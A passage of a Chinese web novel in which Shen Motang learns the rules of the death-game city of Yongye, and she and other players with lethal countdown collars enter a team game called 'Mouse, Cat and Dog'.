“不是梦。”沈墨棠轻声呢喃,确认着自己的感觉,接着从轻薄的床褥内钻出,双腿落地站起。
她注意到那立在门边的,用于装饰的30公分高的麻将牌“九万”;同时,也注意到卧室拐角处的衣帽间。
沈墨棠好奇走进去,脸色却瞬间沉了下来,嫌恶地撇下嘴角。
衣帽间里,清一色都是符合自己身材号码的,写有“东城”二字的绿白色“校服”!
全身镜里,自己身上也穿着这身打扮!
联想到半睡半醒时,好像是“青二条”王潇说过要帮自己换掉湿衣服……沈墨棠在镜子前绝望地闭上眼睛,一时间无法判断到底是穿着原先那身“病号服”更好,还是换上这身“校服”好看。
她看着镜子里,自己胸口那大大的“东城”两个字,无奈叹了口气。
没得选,这里没有其他衣服可穿了。
而且现在也不是考虑衣服美丑的时候
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——镜子里,自己气色倒是不错,没有半点疲惫感。
元气满满,就是有点渴。
这是睡了多久了?
这里是哪?蓬莱?
沈墨棠提起戒心,从衣帽间离开,推开两扇卧室门。
外面是宽敞奢华的大客厅,高耸的吊顶,华美的灯具,墙上有可定制的绘屏,充满科技感的壁炉和大电视,地面铺着工艺精良的地毯,真皮沙发高档舒适……
而那个大美女王潇,正独自靠在沙发上,闭目养神。
似乎是听见卧室门开的声音,王潇睁开眼来,露出一个微笑:“醒啦。”
“嗯。”沈墨棠不知道该不该感到安心。
虽然眼前这人帮自己摘下了狗环,但还无法确定她是敌是友,有什么目的。
新人战的最后,曹彦旭曾说过的“他们”、“计划”,就是指这些人吗?
关键是……
“咕咕咕。”
沈墨棠肚子无意识发出声音。
“饿了吧。”只见王潇起身转了个方向,拿起一面平板递过来:“先点点吃的,想吃点什么?”
吃的?
沈墨棠接过平板,它便投射出全息菜单,每样食物都有详细清晰的介绍和视图展示——这种科技产品,在市面上从来没见过,充满未来感。
这里到底是什么地方?沈墨棠都已经难以简单地用“绑匪”来称呼主办方了。
感觉就像是……闯入了什么异世界的赛博都市。
异世界,对,现在只能用“异世界”来理解这一切。
“好多。”沈墨棠的手指在全息投影上划了半天,菜单仿佛永无尽头,琳琅满目的美食应有尽有,眼泪可耻地从嘴角流了出来。
艰难的十分钟后,一份十寸土豆培根披萨跟一瓶两升装的大汽水被机器人送到客厅里。
吃饱喝足,沈墨棠才望向餐桌对面喝着咖啡的王潇:“我也叫你‘老大’吗?”
“啊?可以啊!随你便。”王潇微微一笑:“吃饱啦?”
“嗯。”
沈墨棠用汽水将口腔里的食物冲干净,靠在椅背上缓了口气,久违地感受着食物带来的满足。
大脑重新启动,可以进行思考。她调整好状态:“我需要做什么?”
“哈哈!你想到哪去了!你想知道什么随便问,我知道的我都会告诉你。”王潇慢条斯理,态度诚恳:“如果你觉得接受不了,就慢慢来,你暂时不用担心任何事情。”
暂时安全、暂时不用担心……全都是“暂时”,这真的能让人安心吗?
沈墨棠凝眸望着满桌的食物:“这些我得买单吗?”
“哈哈!免费的!吃穿用你什么都不用付!”王潇忍不住哈哈大笑。
“嗯。”
沈墨棠其实不在乎这个,只是脑子里挤满太多问题,一时间不知道从哪里开始。“既然你让我问,那我开始了?”
“哈哈,你想知道什么都……”
沈墨棠开口:“你们也是玩家,为什么能取狗环?”、“游戏的主办方是谁?他们想做什么?”、“这里是什么地方?是现实吗?”……
王潇一愣,完全跟不上这节奏,赶紧打断:“不急不急,慢慢来,你先听我说……”
“这里被叫做‘永夜城’,是人类最后的居所。”
“呃……哈哈,接下来你听到的,会颠覆你整个世界观,并没有那么容易接受。”
“但这是事实,不管怎么样,我们都要经历这个过程。”
“请讲。”沈墨棠抱着双臂,吹了下刘海,神色怀疑。
王潇一笑:“你知道庄周梦蝶的典故吧?”
庄周梦蝶?
62. 东城区4
你知道庄周梦蝶的典故吧?
庄子做梦,梦到自己变成一只蝴蝶。大梦醒来后,一时间竟分不清是“庄子梦到自己变成蝴蝶”,还是“蝴蝶梦到自己变成庄子”。
现实、梦境。
梦境、现实。
何为真,何为幻?
有没有可能现实和梦境本来就是颠倒的?
听到这,沈墨棠不禁挑起眉梢,完全猜不透这位大美女“青二条”究竟想说什么。
王潇的讲述还在继续:
让我们不带任何偏见,完全以虚构的角度,思考是否有这样一种可能:我们所认知的整个宇宙,都是一个巨大又无比真实的梦境?或者说,虚拟程序?
“认知宇宙”、“梦”、“虚拟程序”……无论我们将其称为什么,这个虚拟的世界都能做到真实自然的更新迭代——所有的生命、自然规律、物理守则、宇宙奥秘,都等待其中的“人”发现探索,等待其中的“人”创造改变。
真实到无从觉察,无从怀疑。
沈墨棠嗤之以鼻:“你想告诉我这是什么‘缸中之脑’的世界?”
“我们称那个地方,叫【太虚】。”王潇淡淡一笑:“你可以理解它是一台巨大的机器、一团无可捉摸的迷雾、一种未知的物质能量……无论如何,【太虚】就存在于永夜城上空,在虚无而触及不到的地方。”
“永夜城实际上是一个巨大的模拟机?”沈墨棠抬眼瞄了客厅中奢华的装饰:“这里是虚拟世界?”
“不是。”
王潇眼含深意:“永夜城才是真的,我们之前的那个‘正常世界’,才是【太虚】。”
???
这里才是真实?
沈墨棠将双手靠在唇边,皱着眉头,片刻才哂然一笑:“你等下是不是要拿红药丸跟蓝药丸出来?”
这是什么《黑客帝国》类的设定?
“沈墨棠,欢迎回来。”王潇像是开玩笑似的说了句电影里的台词,继续道:
我们进入永夜城的过程,就是灵魂从【太虚】醒来到现实的过程。
永夜城创造了和我们灵魂里自我认知里一模一样的肉身。
每隔一定阶段,【太虚】中都会有许多灵魂觉醒,参加“新人战”。存活下来的人,就能进入永夜城生活。
“等下。”沈墨棠发现了不对:“新人战之前,我们就已经参加了游戏,那时就‘醒来’了?”
王潇摇了头:“你应该发现,新人战的时候,大家的穿着跟之前三场游戏不同。”
确实,新人战玩家都穿着“病号服”,佩戴“狗环”;而在之前的【四人轮盘】、【数字绞刑架】、【跑不了解一下】中,玩家是穿着自己的服装。
沈墨棠眯了下眼睛,等待王潇继续解释。
王潇:“新人战之前的三场游戏,被叫做‘资格赛’,发生在【太虚】之中,将醒未醒的时候。永夜城只会为通过资格赛的灵魂塑造肉身,让他们醒来参加新人战;至于那些没能通过的灵魂,会回到【太虚】内沉湎,继续进行轮回。”
“你说‘轮回’?”
“对,轮回。”王潇摊开手:“并不是每个灵魂都会醒来的。”
【太虚】就像一台不断循环的弹球机,无数灵魂就是里面的弹球,能最终落入中奖槽“觉醒”的,只有寥寥几颗。至于其他灵魂,会一遍一遍循环这个过程,也就是“轮回”。
资格赛淘汰的灵魂,并没有就此消失,而是回到【太虚】;只有在“永夜城”这个现实中死去的人,才是真正的“魂飞魄散”。
“魂飞魄散?比如那些在新人战中死去的人?”
“没错。”
“所以他们还不如死在资格赛?”
“可以这么说。”
……
第二个问题:永夜城是什么地方?
永夜城是现实。
唯一的现实。
这方弹丸之地,是人类最后的居所。
永夜城科技高度发达,生产力达到顶峰,技术、物资、能源都实现了自动生产、回收、更新、发展。身处其中的人们,无需为衣食住行发愁。唯一需要担心的,就是生存问题——就是“狗环”。
每个从【太虚】中醒来的灵魂,都会被戴上“狗环”。大部分人需要佩戴“狗环”在城内活着。
只有少数人能解开“狗环”。
“比如蓬莱?”
“对,蓬莱。”王潇嘬了口咖啡,不紧不慢道:“永夜城只需要我们作为‘玩家’活着。”
我们活着的唯一价值,就是充当“玩家”——为了增加“狗环”的剩余时长,我们必须参加永夜城内的各种“游戏”,赚取“雀牌”积分。
时长耗尽,狗环爆炸,我们就会死。
沈墨棠摇头打断:“但你能摘除狗环?”
王潇一笑:“我只是遵守规则。”
“规则?”
“你看到的那台能摘掉狗环的机器,事实上不是我控制的。”王潇望向客厅窗外,目光悠远,“那台机器,会检测你是否拥有摘除狗环的资格。如果你达不到那个资格,我也无能为力。”
“什么资格?”
“飞升的资格。”
“飞……升?”沈墨棠确认。
王潇点头:“进入永夜城的人会在下城区生活,不断参加游戏,赚取积分,增加狗环的剩余时长。如果你的剩余时长达到10000小时,就能实现“飞升”,可以踏入【蓬莱】,并且永久取下狗环。”
“所以‘飞升’只是种说法。”
“哈哈,可以这么说。就像凡人修炼,得道飞升。”
“就没人想过逃出去?”
“当然有。”王潇收回目光,凝视沈墨棠:“但我不建议你这么做。”
沈墨棠耸耸肩,表示不理解。
王潇:“任何违反城市规则,试图在城内作乱的人,都会被遭到被大家叫做‘陶瓷娃娃’的强大机器人的抹杀。”
陶瓷娃娃?就是那种穿着雨衣、戴着呼吸面罩的高大机器人?
沈墨棠皱起眉头:“没办法反抗吗?或者……找主办方谈判?”
王潇喝了口咖啡,摇头道:“我们见不到主办方。”
永夜城就像一台拥有自我意识的巨大机器,大大小小的游戏就是它与生俱来的设定。至于“红蟹”或者所谓的“游戏管理人”、“主持人”的存在,从来没人见到过;而“陶瓷娃娃”强大又冷血,武装到极致,玩家根本不是它们的对手,必须遵循永夜城的基本律法。
王潇说完后,客厅中出现片刻沉默。
沈墨棠双手离开下巴,放在桌上,缓缓开口:“按照你的说法,我还没有达成‘飞升’的条件?”
“哈哈。”王潇笑着点头:“但是你完成了极其苛刻的‘新人飞升’成就!”
“那是什么?”
不论每一届“新人战”的具体游戏是什么,都会在每个阵营当中设置一个“淘汰者”,就像你。
这个“淘汰者”为了自保,通常会导致城区输掉“新人战”。
当淘汰者活下来并进入永夜城后,会遭受城内居民的排挤;反过来说,如果一个城区的“新人战”获胜,那么新人里的“淘汰者”大概率是死了。
“新人战胜利”和“淘汰者幸存”往往是零和博弈,无法共存。
王潇说着,目光热切:“但是你,沈墨棠,青九万。你是第一个赢得“新人战”并且存活下来的“淘汰者”!”
——这就是“新人飞升”成就。
沈墨棠反应了一下,摇头困惑道:“东城赢了?”
她清楚记得,北城的李漫漫最后赢下了【有问必答】,所以北城阵营在整场“彩虹节拍”中应该是总共获得3个胜场,领先其他阵营。
“东城也是3胜。”王潇的手指点了下桌子,“新人战总共是七个回合。除了六
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个‘彩虹节拍’主线回合,还有淘汰者们参与的第七回合‘死者复苏’。”
“在‘死者复苏’里,你赢得最多的狗环积分。由于第七回合的比重更高,所以在同样3个胜场的情况下,最终是我们东城获胜。”
“你如今在东城的热度很高啊!哈哈!”
王潇意味深长:“琪琪她们……就是其他蓬莱的成员,可都迫不及待想来看你呢!”
沈墨棠心情毫无起伏,只是张嘴问:“赢了新人战有什么用?活下来?”
似乎是没想到她这样的反应,王潇换了副表情端详沈墨棠,顿了顿才收起笑容:“不只是这样……‘新人战’其实是和之后的‘四方战’挂钩的。”
“四方战?”
“嗯。”王潇躺回沙发上,组织了一下语言:“我们目前已知的,就是永夜城分为东、南、西、北四个城区,分别有四位‘大庄家’做主……”
每隔一段时间,永夜城就会举办名为“四方战”的大型赛事。届时四个城区需要各自指派10名玩家参与。
先前赢下“新人战”的城区,会成为本届“四方战”的庄家,拥有先手优势。
如果一个城区能赢下“四方战”,城区内的每个人的狗环时长都会增加1000小时;另外,离累计达成【十二本位】更近一步。
“十二本位?”沈墨棠扬起眉梢:“那又是什么?”
“这个说法……有待商榷……留着之后详细说明吧……”王潇像是倦了,面带笑意却沉默不语,靠在沙发上,双手指间轻触。
沈墨棠沉默地喝下最后一口汽水,摊在椅子上。
信息量太多了。
一时间不知道从何想起。
她向上吹了一口气,刘海被吹得掀起一角:“所以,这套世界观是谁编的?”
毫不客气,语气冰冷,略带嘲讽。
这样一个扯淡的世界,鬼才信呢!
王潇依旧温柔笑着:“哈哈!我猜你更想问的是,你凭什么相信我说的,就是真的。”
“嗯。”
说法跟看小说似的,有质疑也很正常。
“你不用相信我,”王潇站起身,喝光咖啡,“你慢慢经历这里的一切,自然会转变观念。这是历史。”
“历史?”
“是,历史。”王潇顿了一下,嘴角轻轻扬起一个无奈的微笑:“沈墨棠,你怎么能肯定‘庄周梦蝶’就是真实发生的?我的意思是……你怎么肯定历史上有‘庄子’这个人?”
历史虚无主义?
沈墨棠眯起眼睛,保持抗拒的沉默。
“我们个人所能确定的‘现实’其实十分有限,大部分都依赖周围能接触到的事物,例如历史文献、科学发现、传媒、权威……”
一个人的认知,观念的形成,实际上是周围一切事物共同影响的集合体。
海鸟理解不了水中的世界,夏虫不可语冰。
从小在热带生活的孩子,无法想象极北的严寒;从小被灌输世界是“弱肉强食”的说法,就会深陷“社会达尔文”主义之中;从小娇生惯养的富家子女,无法理解大部分苦难。
换句话说……
你认为个人有自由意志吗?
你的“自由意志”是单独属于你个人的吗?还是受到某些人、事、物的影响?
你的人生观、世界观、价值观,是你独自塑造出来的吗?
还是你看来的,学来的,思考来的,推断来的,选择出来的?
所以。
庄周梦蝶,是虚幻还是现实?
“出去看看吧,沈墨棠。”王潇摆摆手,边说边走向房门,“其他新人被狗环倒计时推着往前走,在参与游戏的过程中逐渐接受了现实。但你一进永夜城就飞升了。我的建议是——别考虑休眠舱。”
休眠舱?
王潇在门口回头,冲沈墨棠露出标志性的温柔笑容:“现在,东城需要你。”
63. 老鼠,猫和狗1
“啊呼……”
“呼……”
“冷静……”
一面千疮百孔,扎着好几把尖刀的木板前。
一块狭窄的,几乎无法落脚的平衡木上。
两条绷紧的腿微微颤抖,不敢乱动。
米米双臂平伸在身体两侧,好不容易才能维持住微妙的平衡。她嘴巴微张,甚至不敢用力呼吸,眸子微微低垂,煎熬中又异常明亮。
现在必须专注控制身体。
还好她被带到东城的下城区之后,第一时间就换掉了身上拖沓的病号服。如果现在不是穿着高腰紧身裤的话,在这场奇怪的平衡木游戏中,估计一阵微风就能把她吹下去。
这什么破游戏!
专门给体操运动员设计的吗?
米米盯着前方的挡板,倒影模糊,唯一的亮处正是脖子上闪烁着红光的狗环。
离开“新人战”的时候,狗环剩余时长就只剩下2个小时,就算在【水火相容】中赢得了一枚“雀徽”,加起来也不过7个小时。
7个小时,能干点什么?
米米和宋白河离开新人战时,同样由斯旺接送,只不过是往下城区。
当时斯旺耷拉着嘴角,只留下一句:“赶快参加游戏吧,赢了加时长。等哪天你们的剩余时长有10000小时,就能像我一样把狗环摘了。”
一万小时?
说得倒是简单啊!
斯旺走之前,还教会了两人使用“终端机”。
当米米将【水火相容】赢得的雀徽充入狗环时,发现终端界面上有更多的选项:永夜城人人都能通过这种操作终端机,选择参与难度档位不同的游戏,赚取狗环“积分”。
作为刚入城的新人,米米在终端机上只有三个难度档位可以选:1枚雀徽、2枚雀徽、4枚雀徽。
对应的时长奖励也就是5小时、10小时和20小时。
至于游戏内容是什么,没人知道,一切未知。玩家在选择档位后,只会被随机分配到符合该档位的游戏里,无法反悔。
总的来说,目前情况下,打通一个游戏获得的时间,连睡觉都不够!
幸好这座赛博都市中一切都不收费,包括各种高科技产品。
例如一种叫做“高效睡眠仪”的设备:外形类似放在商场门口的那种“扫码按摩椅”,只不过加装了一个透明的盖子,人躺进去盖子合上后,很快就能进入高效的睡眠——只要一个小时,就能有10小时深度睡眠的效果!
米米一阵叹气。
赛博打工人,连睡觉时间都快被进化掉了……不过这对刚进城的新人而言,确实是实打实的好处。
至于参与游戏求生的选择,是要保守一点,从“1枚雀徽”的简单难度慢慢累积;还是要激进一些,直接参与“4枚雀徽”的高难度游戏呢?
吃着免费的餐食填饱肚子,米米没有思考太久,选择了“2枚雀徽”的中间难度档。
赢下游戏,能够获得2枚雀徽;输了游戏,将扣除等同于游戏奖励的狗环时长——以她现在的时长来说,输了就是死!
“垃圾游戏!”
一阵机械声响起,米米不敢再走神。她踩在平衡木上,微微调整呼吸,全神贯注等待倒计时。
“3……”
“2……”
“1……”
冰冷的机械倒计时结束,前方不透明的挡板打开,又一把尖刀“咻”地飞了过来!
还好米米早有准备,侧身一闪,又一次惊险地躲过飞刀,双腿并靠在平衡木上重新站稳——这场游戏里玩家不能用手去触碰平衡木,否则会触发高压电。
平衡木下方,就是万丈深渊。
是个纯粹的体能游,靠的是身体的本能反应,几乎都没有什么用脑子的空间。
“当!!!”
尖刀掠过米米的肩膀,重重扎在她身后大概3步远的木板上。
木板边缘还挂着刚刚已经被她挣脱开的绳索。
“20……”
“19……”
“18……”
“17……”
机械音再次重复20秒倒计时。
趁这机会,米米稳住身体平衡,踩着平衡木继续向前走!
快到了,就快到了!
越往前,就靠近游戏胜利的终点。
越往前,也离尖刀飞出的地方更近,闪躲难度剧增。
一步、两步、三步……
“10……”
“9……”
“8……”
“7……”
又要来了,下一把尖刀又要飞出来了。
娇小的身材宛若断翅的金丝雀,双腿猛地顿住,身体瞬间失去平衡往旁侧倾倒!
米米条件反射伸手,差一点点就碰到了脚下的平衡木。
“4……”
“3……”
“2……”
“该死的!”
她嘴里给自己打气,养足状态的身体迸发出潜力,纤瘦但有力的腿在失去平衡的瞬间向前大踏步,整个人便如同振翅的雏鹰,翩跹的蝴蝶,一口气猛冲向终点!
叮——!
游戏系统传出柔美的合成音:“恭喜玩家【米米】到达重点,获得胜利!”
……
一段时间后。
米米轻抚脖子上的狗环,呆坐在咖啡厅角落,盯着店内舞台上的赛博乐队在演奏赛博歌曲。乱七八糟的赛博歌词毫无意义,五光十色的屏幕上满是赛博观众的“666”和“好听”、“感动得我代码都乱了……”
时间在永夜城里没有意义,却又有着非凡的意义。
赛博乐队高声嘶吼:
“当无聊的人类追求走马观灯的肤浅体验,一条条横亘天际的木梁向云兽喉咙里探入,往更高层宇宙里狠狠诅咒那些没有追求的流星。”
“星星在坠落,一口一口滑入深渊,那是没有灵魂的音符跳跃旋转,是飞溅的水雾蒙住夜空,是步步逼近的谋杀者亮出闪光的凶器。”
“是我不由自主想你衬衫上的第三颗纽扣,是你缓缓延展的泪痕”
“有人在张望,有人在张扬,有人声嘶力竭跳进火中,有人驻足,向往飘落的花香,还有淅淅沥沥沾湿头发的雨。”
“一阵迸发的热爱推开了门,摇晃的咖啡跳出桌面,滴进渐弱的阳光里。行人匆匆,行人悠闲,行人蒙住了眼,行人往海里去。”
“她坐在那里,她坐在那里,她坐在那里……”
经历了几场游戏的米米,积累了将近40个小时的时长:
37:44:19
37:44:18
37:44:17
狗环显示屏跳动的红色数字,代表着永夜城内居民的生命倒计时。
米米现在的目光中,已经少了许多迷茫。
她想要活下去,她知道自己必须活下去,绝对不能屈服于这个莫名其妙的世界。
根据城内的规则,只要达成10000小时的“飞升”,就能被接引到名为【蓬莱】的空中酒店。到时候不仅能摘下狗环,还能获得“牌面”,成为“四方战”的候选人。
当然,更多人希望的,还是摘下狗环后选择躺回蓬莱的“休眠舱”内,回到原来的世界。
他们称原来的世界叫做【太虚】。
蓬莱提供大量名为“休眠舱”的设备,能够让灵魂回到梦境中,经历虚幻的生死轮回——而不是在这座随时都可能“魂飞魄散”的永夜成内。
至于是否能够再次醒来,醒来后是否还是原来的灵魂,只听天意。
米米喝了口饮料,让自己打起精神。
既然有了方向,就要好好适应这里的规则,争取早点摘下狗环,早点回去!
她的视线从数字乐队移开,投向墙上的3D海报。
海报中沈墨棠的同人建模栩栩如生,穿着胸前有“东城”二字的绿白校服,做出号召性的动作,让人不合时宜地想起美国队长的海报。
活动的建模周围,还漂浮着许多艺术字体,什么“东城希望”、“蓬莱新星”、“青九万:大杀四方战”等等等等。
米米虽然跟沈墨棠接触不多,但还是觉得这个看上去性格有些阴冷的齐刘海女孩,应该说不出那么热血的话。
自从东城赢下“新人战”后,“青九万”的名头就传遍了大街小巷。
夸张的宣传铺天盖地,仿佛接下来“四方战”的胜利已是东城的囊中之物。
“青九万……”
米米露出疑惑的笑意。
沈墨棠为什么不回【太虚】呢?为什么要呆在这里参加之后的“四方战”?
有什么难言之隐吗?还是她纯粹自愿的?
想了半天毫无头绪,米米喝光杯里的抹茶奶昔,起身前往终端机。
休息够了,是时候重整旗鼓,继续赚时长。
现在身上有37个小时,如果参
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加“4枚雀徽”档位的游戏,就算输了扣掉20个小时,也还有17小时的时间可以留作后路。
略有盈余的感觉,令人稍稍安心,但不能就此放松警惕。
米米在终端机上选择“4枚雀徽”。
“选择成功,系统已为您随机匹配游戏,游戏奖励4枚雀徽。”终端机发出语音提示,如同前几次一样,整台机器向旁侧移开,露出后面发光的未知通道。“请由此进入游戏场地,预祝玩家凯旋!”
听着这完全令人高兴不起来的语音,米米活动了两下胳膊,愈发熟练走入通道中。
根据前几次的经验来看,每台操作终端机后方的这条“赛博通道”都拥有空间连接的功能,不同的玩家能够通过不同地方的通道,进入被随机分配到的相同游戏场地内。
白光闪过,意识恍惚,身体发麻,视觉、听觉膨胀又收缩。
下一秒,米米便身处一个巨大而空旷的场地。
视野声音都飞快散开,那种充满辽阔感的风吹过,带来熟悉的青草和沙土味道。
这个地方像是一个学校操场,但四周没有塑胶跑道,而是空白一片,视线中只有时不时跳动的不规则幻影。
米米在之前的游戏已经见过这种空白的“虚无场景”,这代表游戏空间只在这片操场上,再往外会碰上“空气墙”,无法离开。
“赛博鬼打墙。”
抬眼粗略看向四周,游戏空间大概有200乘160平方米大小,整体是一个矩形,沙石地面长着杂草。
除了米米以外,还有其他四个人也在这巨大的场地内。
是四名男性:第一个高高瘦瘦,皮肤黢黑,气质如猎豹;第二个身材偏矮,头大脖子粗,但肌肉很结实;第三个体态匀称,绑着黄色的小辫子,长相帅气。
最后一个身材高大结实,肩宽腿长,小麦色的皮肤看着很健康,再往上看……是熟人。
“米米?”
宋白河睁大眼睛,脸上有明显的惊喜感,往米米的方向打着招呼走来。
刚好和他匹配到一起了?
米米一愣。
要不要回应他?
挠挠了头发,因为忌惮其他三个陌生男人的关系,她没有跟宋白河打招呼,静静站在原地。
目前还没公布游戏内容,万一等下是什么“大逃杀”类的游戏,那有组队嫌疑的人肯定会被优先针对!
看着米米一副不认识自己的模样,走到一半的宋白河也意识到问题,当即停下脚步。
“你认识那女的?”另外三个男人中,有一个声音发问。
宋白河摇头:“不认识。”
“那你叫人家米米?”
宋白河:“不是,我紧张,唱歌来着……咪米咪米、咪米咪米……解压。”
米米:“……”
“算了,还有人没到吗?”
男人话音刚落,场地中央,又亮起一道白光,一道熟悉的人影从中出现。
黄色小辫子男忍不住指向新来的人影叫道:“啊喂喂喂!是,是那个她!那个……”
那个,最近出现在大街小巷,出现在东城每家店的海报上,出现在电视新闻里,出现在玩家居民茶余饭后的闲谈中……曾出现在米米眼前,此时再次出现在眼前的,交谈过的那个“传说”。
“青九万!”大头男粗着嗓子,语气充满不可思议:“她来做什么?”
沈墨棠。
她并没有穿着【蓬莱】成员标志性的“东城校服”,身上穿着的是老头背心和沙滩裤,脚上是一双人字拖,头发湿湿的,垂在披肩的红色毛巾上。
“你这是……刚洗完澡?”一次匹配到两个熟人已经让米米很震惊了,但沈墨棠身上诡异的松弛感到底是怎么回事!
沈墨棠用毛巾擦擦湿发,目光冷冽,扫了场地一圈,在注意到米米和宋白河的时候皱了皱眉。
场地上空突然响起冰冷的机械音:
“人数已满,玩家到齐,游戏即将开始!”
米米、宋白河、辫子男、大头男、瘦高男、沈墨棠。
看来是一场6人游戏。
“接下来将要进行【老鼠,猫和狗】游戏。”
“游戏为阵营战,玩家将被分为‘红’和‘蓝’两个3人队伍相互对抗。”
“系统已按入场顺序分组完成。”
“蓝队成员:李卞、林投、高俊业。”
“红队成员:宋白河、米米、沈墨棠。”
64. 老鼠,猫和狗2
“请玩家前往场地中央,接下来公布游戏规则。”
机械音在空中冰冷回荡,与红蟹完全不同的感觉。
话音落下,操场中央嗖嗖亮起地灯,组成显眼的光带,自中心向两边延展。
中点处呈现圆形,像是足球场的开球区。圆形被中线分割成红、蓝两个半圆。沈墨棠三人在红方,对面则为蓝方。
沈墨棠擦着头发,边走边打量地灯:光线仿佛直接从地里长出来,通过杂草的缝隙向上射出,淡淡的不刺眼,很清晰。
所以……
“永夜城”真的是一座专门为“游戏”服务的赛博都市?
她湿漉漉的齐刘海下,一双眸子来回移动,不断怀疑着周遭的一切。
难道青二条说的都是真的?
这座城市,才是现实?
屁!
沈墨棠是一万个不相信。
无论如何,都必须亲自探索这座未知的城市,看看这个所谓“真实世界”到底长什么模样。
所以在找王潇解锁行动权限后,沈墨棠洗了个澡,便通过私人套房内的操作终端机,尝试选了个“4枚雀徽”难度的游戏。
顺着终端机后方打开的通道,穿过光影变换的“传送门”,瞬间来到这空旷的游戏场地。
连衣服都没顾得上换。
“沈墨棠。”是宋白河的声音。
那个挺拔的身影从旁边追上来,在右侧视野边缘探出头来。
既然已经确定游戏是“阵营战”,而且东城区人人认识这位“青九万”,宋白河觉得也没必要藏着掖着,装作两人没见过面的样子了。
沈墨棠回头:“宋白河。”
宋白河不由得往前走了两步,在她右前方回身:“太好了,又跟你一队了!”
“米米。”沈墨棠又看向跟上来的米米。
跟最初见面时的一身洛丽塔服装不同,这时的米米身上的装扮显得干练利落多了,头发也梳成公主头,露出甜美的五官。
“沈墨棠,他们说……”米米略一迟疑,没有往下问,而是瞟向宋白河。
“对,我也听说,”宋白河挠挠后脖子,点头向沈墨棠问道:“是你安排的新人战顺序?你怎么知道我会气.枪……”
“跟我说说你们赢了新人战之后的事。”沈墨棠打断,一心只想搞清楚“永夜城”到底是什么地方。
这时三人已经步入场地中央,站在红方的半圆内。
并不刺眼的光线自下而上,照亮了沈墨棠的人字拖和沙滩裤,活像个误入T台的公园大妈。
对面,叫做“高俊业”的男人长得像头黑豹。他一马当先,用那双精光内敛的眼睛打量沈墨棠,咧出一抹笑:“你好啊,青九万。”
那笑容带着好奇、防备、相互矛盾的善意和敌意,显得狡黠复杂。
他的左手边,黄发辫子男伸出手:“我叫李卞,多指教。”
沈墨棠的注意力不由得转移到这两人身上:永夜城里这么礼貌?
照理说,对方也是“玩家”,不应该表现得更慌张一些吗?还是说,他们早已经适应了永夜城的生活,对脖子上的狗环习以为常了?
沈墨棠盯着李卞棱角分明的脸、一头黄毛和帅气的笑容。他脖子上的狗环被喷涂成黄色,红光倒计时朝着旁侧,没办法看到还剩多少时间——不过从他从容不迫的态度来看,应该不会太短。
反观米米跟宋白河,状态就紧绷许多。
“这三个都是新人吧?”插话的是对面那个头大脖子粗的男人,嗓音很粗,满脸不屑和防备。
高俊业冲他“嗯”地点点头,随后才又笑着问沈墨棠:“是吧?”
宋白河跟米米也已经进入光圈,分站沈墨棠两侧。
“新人有优待吗?”还没等沈墨棠开口,米米已经直挺挺地往前,微微仰头:“还是说,新人会被欺负啊?”
这话问得如此自然,倒是让高俊业不知道米米是真心在问还是装模做样。
他略微迟疑后,还是笑了一下,视线仍盯着沈墨棠:“那得看你们表现了,对吧,青九万?”
耍嘴皮子?
沈墨棠失去兴趣,避开眼神没回应。
简单打过照面,几人还未有更多交流,场地上空的机械音便再次响起:“本场游戏中,每支队伍的三名玩家,将分别扮演[老鼠]、[猫]、[狗]。”
红圈地面“隆隆”两声,破土升起一根双臂合抱粗的金属台面。
对面蓝色阵营的光圈内,也升起一根同样的金属台面。
金属台面的顶部呈三面锥的形状,三个斜面各自有一种动物图案,分别是“老鼠”、“猫”、“狗”,每个图案上方都带有一串说明文字,底下则有一个像是指纹锁的小口。
“哦吼,看看是什么。”林投凑到近处。
高俊业顺势推着林投,装作要看清台面的样子,让后者的身体挡在蓝方的金属台面前,稍稍遮挡沈墨棠三人的视线。
李卞撇了眼高俊业,瞬间心领神会,也绕到蓝方金属台面的另一边。他不止挡住红方三人的视线,自己还笑嘻嘻地伸长脖子,端详红方一侧的金属台面。
沈墨棠不由得皱眉。
——他们反应好快!
果然是已经在这里呆过一段时间的老玩家吗?
游戏中一有什么变化,他们立刻采取了行动:保护己方信息,并探查对方的信息,尽可能创造优势。
看来,只要脖子上还戴着狗环,没人会傻到在游戏中“大发慈悲”!
有意思……
“扑——”
沈墨棠眼疾手快,摘下自己脖子擦头发的红色毛巾,盖住身前的金属台面。
李卞倒是毫不尴尬,复杂的目光扫过沈墨棠空无一物的脖颈,笑着冲这边做了个wink后,便转身加入队友的讨论中。
他不忘一手搭在林投肩上,用两人身躯完全挡住红方的视线。
表现得很老道,完全不在乎什么面子问题。
宋白河反应也很快,迅速绕到台面另一侧,学对面的样子用身体遮挡金属台面。他背对蓝方,面朝沈墨棠。
挺好,看看吧,这是场什么游戏。
沈墨棠放心掀开毛巾,旁边米米也凑过来。
台面显示的是:
【狗:性格冲动。在越过半场后,只能待在对方半场】
【猫:性格安静。只能待在己方半场】
【老鼠:性格胆怯。可以全场跑动】
场地上空,机械音兀自回荡:
“不包括衣物等穿着,当红蓝双方实际身体距离小于0.3cm,视为彼此触碰。”
“此时将根据双方各自扮演的动物,进行相应判定:当[狗]和[猫]触碰,[猫]将原地静止1分钟;当[猫]和[老鼠]触碰,[老鼠]将暂时被踢出游戏,需要进入己方老鼠洞,才能回到游戏。”
“其余情况判定无事发生;同一方队友之间判定无事发生。”
听着规则,沈墨棠习惯性吹了下湿漉漉的刘海:狗抓猫、猫抓老鼠的游戏?
喀喀喀——!!
场地忽然又是一晃,惹得对面的林投骂了声脏的。
举目望去,场地两侧边缘,各出现了一个像是足球门的设施,一红一蓝,球门上标着“老鼠洞”。
机械音继续宣读规则:
“游戏开始后,双方玩家将从各自的‘老鼠洞’出发。当一方的[老鼠]进入另一方‘老鼠洞’内,结束游戏。[老鼠]率先进入对方‘老鼠洞’的队伍获得游戏胜利。”
己方的老鼠先进对方的老鼠洞?
沈墨棠直起身,看向远处对面的蓝色球门,又回头看了身后的红色球门——两个球门之间横跨了整个场地,大约有200米的距离。
根据规则,她、米米、宋白河三人之中会有一个人扮演红方的[老鼠]。
只要这个人从红方球门出发,迅速
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穿过200米横跨场地,在不被对方[猫]抓到的情况下,比对方先一步进入对方球门,就能获胜。
像是进球。
是偏体力的游戏?
沈墨棠皱起眉头,再次看了一遍金属台面:
【狗:性格冲动。在越过半场后,只能待在对方半场】
【猫:性格安静。只能待在己方半场】
【老鼠:性格胆怯。可以全场跑动】
看来三种动物的活动范围各有限制——若是用象棋来比喻,[狗]类似“兵、卒”,过河后不能回头;[猫]可以比作“将、士、相”,只能在己方半场活动;[老鼠]就是“车、马、炮”,能够在整个棋盘范围内移动,是获胜的关键。
